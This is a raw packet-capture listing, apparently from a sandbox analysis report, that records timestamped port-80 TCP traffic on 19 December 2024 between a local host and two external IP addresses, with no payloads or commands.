Dec 19, 2024 08:09:32.228687048 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.228771925 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.228806019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.228965044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.229778051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.229856014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.229897022 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.230019093 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.230905056 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.231009007 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.231038094 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.231592894 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.231992006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.232108116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.232124090 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.232227087 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.233055115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.233127117 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.233182907 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.233500004 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.234167099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.234280109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.234497070 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.235248089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.235372066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.235502958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.236330986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.236442089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.236474037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.236694098 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.237426996 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.237509012 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.237550974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.238058090 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.238537073 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.238595963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.238641024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.238763094 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.239620924 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.239702940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.239739895 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.239907980 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.240731001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.240854025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.240884066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.240997076 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.241802931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.241868019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.241930008 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.242014885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.242902994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.243155956 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.243182898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.243303061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.243978977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.244096041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.244242907 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.245052099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.245177984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.245275021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.246136904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.246249914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.246423960 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.247306108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.247349977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.247374058 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.247554064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.248325109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.248416901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.248446941 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.248497009 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.249425888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.249525070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.249547005 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.249836922 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.250509977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.250621080 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.250720978 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.251636028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.251707077 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.251720905 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.252094984 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.252701044 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.252753019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.252800941 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.253717899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.253810883 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.253880024 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.253900051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.254029036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.254882097 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.254951000 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.254978895 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.255039930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.255968094 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.256043911 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.274259090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.274334908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.274859905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.274959087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.275046110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.275181055 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.276417971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.276989937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.277098894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.277208090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.278482914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.278589010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.278769970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.279948950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.280025005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.280065060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.281438112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.281534910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.281555891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.282921076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.283030987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.283298016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.284749985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.284761906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.284991980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.288394928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.288408041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.288763046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.289474964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.289488077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.289688110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.289745092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.289757967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.289972067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.290349007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.290497065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.290549040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.294945955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.294958115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.295021057 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.295589924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.295600891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.295658112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.311700106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.311712027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.311731100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.311742067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.311753035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.311781883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.311856985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.311989069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.312001944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.312422991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.313388109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.313527107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.314379930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.315027952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.315212965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.315303087 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.316353083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.316509008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.317948103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.318083048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.318113089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.318151951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.319396973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.319408894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.319530964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.320784092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.320919991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.321047068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.322419882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.322432041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.322547913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.323788881 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.323925018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.324841976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.325171947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.325346947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.325469971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.325602055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.325613976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.325705051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.326605082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.326700926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.326780081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.328123093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.328213930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.328393936 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.329582930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.329679966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.330591917 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.331056118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.383641005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.392599106 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.392775059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.392796993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.392816067 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.393122911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.393136024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.393168926 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.394084930 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.394097090 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.394157887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.395272970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.395288944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.395347118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.396363974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.396408081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.396538019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.396574974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.397505045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.397516012 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.397552967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.398473024 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.398507118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.398650885 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.398682117 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.399633884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.399671078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.399816036 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.399852037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.400684118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.400695086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.400724888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.401814938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.401824951 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.401864052 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.402981043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.402992964 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.403026104 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.403940916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.403950930 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.403986931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.405090094 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.405102015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.405143023 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.406187057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.406198025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.406243086 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.407105923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.407154083 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.407294035 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.407334089 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.407772064 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.407783985 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.407793999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.407820940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.407854080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.408750057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.409176111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.409185886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.409230947 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.409264088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.410573959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.410587072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.410643101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.410715103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.410728931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.410753965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.410770893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.411721945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.411732912 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.411770105 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.411904097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.412072897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.412770033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.412858963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.412870884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.412894011 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.412909985 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.413366079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.413382053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.413417101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.413819075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.413988113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.414022923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.414845943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.414855957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.414904118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.414994001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.415148020 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.415184975 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.415981054 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.416054010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.416145086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.416178942 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.416322947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.416333914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.416383982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.417099953 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.417110920 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.417151928 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.417711973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.418015957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.418335915 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.418345928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.418395042 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.418396950 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.419251919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.419261932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.419301033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.419403076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.419437885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.420435905 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.420473099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.420602083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.420633078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.421412945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.421716928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.421756983 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.422516108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.422553062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.422694921 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.422735929 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.423654079 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.423686981 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.423846006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.423880100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.424879074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.424890041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.424926996 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.425797939 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.425839901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.425973892 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.426008940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.426816940 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.426857948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.426995993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.427035093 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.427953959 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.428114891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.428164005 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.429110050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.429121971 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.429160118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.430143118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.430196047 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.430299997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.430335999 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.431235075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.431279898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.431423903 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.431458950 CET	49858	80	192.168.2.6	31.41.244.11
